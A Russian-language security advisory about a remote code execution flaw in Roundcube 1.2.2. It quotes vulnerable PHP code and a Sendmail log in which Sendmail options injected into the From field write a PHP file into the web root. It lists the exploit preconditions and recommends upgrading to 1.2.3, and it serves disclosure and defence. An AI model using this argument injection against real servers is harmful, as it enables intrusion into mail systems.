В популярнейшем веб-клиенте электронной почты Roundcube обнаружена критическая уязвимость, приводящая к удаленному выполнению произвольного кода.

Roundcube является широко распространенным программным обеспечением с открытым исходным кодом , используемый многими организациями и компаниями по всему миру. Зеркало на SourceForge, например, насчитывает более 260000 загрузок в течение последних 12 месяцев , которая является лишь малой долей реальных пользователей , т. е. - уязвимости подвержено огромное количество систем по всему миру.

В версии 1.2.2 была найдена уязвимость, позволяющая злоумышленнику внедрить вредоносный код в один из параметров HTTP запроса, который позволяет создать произвольный php-файл в структуре веб-сервера.

Данная уязвимость возможна из-за недостаточной проверки параметра from в файле sendmail.inc.

$sent = mail($to, $subject, $msg_body, $header_str, “-f$from”)
else if ($from_string = rcmail_email_input_format($from)) {
if (preg_match('/(\S+@\S+)/', $from_string, $m))
$from = trim($m1, '<>');
else
$from = null;
}

preg_match(‘/(\S+@\S+)/‘, $from_string, $m)
preg_match(‘/^<‘.$email_regexp.‘>$/’, $item)

Это позволяет злоумышленнику создать файл в веб директории сервера с произвольным содержимым (из параметра subject). Пример эксплуатации уязвимости:

04731 >>> Recipient names must be specified
04731 <<< To: squinty@localhost
04731 <<< Subject: <?php phpinfo(); ?>
04731 <<< X-PHP-Originating-Script: 1000:rcube.php
04731 <<< MIME-Version: 1.0
04731 <<< Content-Type: text/plain; charset=US-ASCII;
04731 <<< format=flowed
04731 <<< Content-Transfer-Encoding: 7bit
04731 <<< Date: So, 20 Nov 2016 04:02:52 +0100
04731 <<< From: example@example.com -OQueueDirectory=/tmp
04731 <<< -X/var/www/html/rce.php
04731 <<< Message-ID: <390a0c6379024872a7f0310cdea24900@localhost>
04731 <<< X-Sender: example@example.com -OQueueDirectory=/tmp
04731 <<< -X/var/www/html/rce.php
04731 <<< User-Agent: Roundcube Webmail/1.2.2
04731 <<<
04731 <<< Funny e-mail message
04731 <<< [EOF]

Для эксплуатации уязвимости должны быть выполнены следующие условия:

  • Roundcube должен быть настроен на использование в PHP mail() функции (включено по умолчанию);
  • РНР mail() функция настроена на использование Sendmail (включено по умолчанию);
  • PHP сконфигурирован с параметром  safe_mode  = OFF;
  • Злоумышленник должен знать или угадать абсолютный путь к корневой директории.

Рекомендуется обновить установку Roundcube до последней версии 1.2.3 как можно скорее.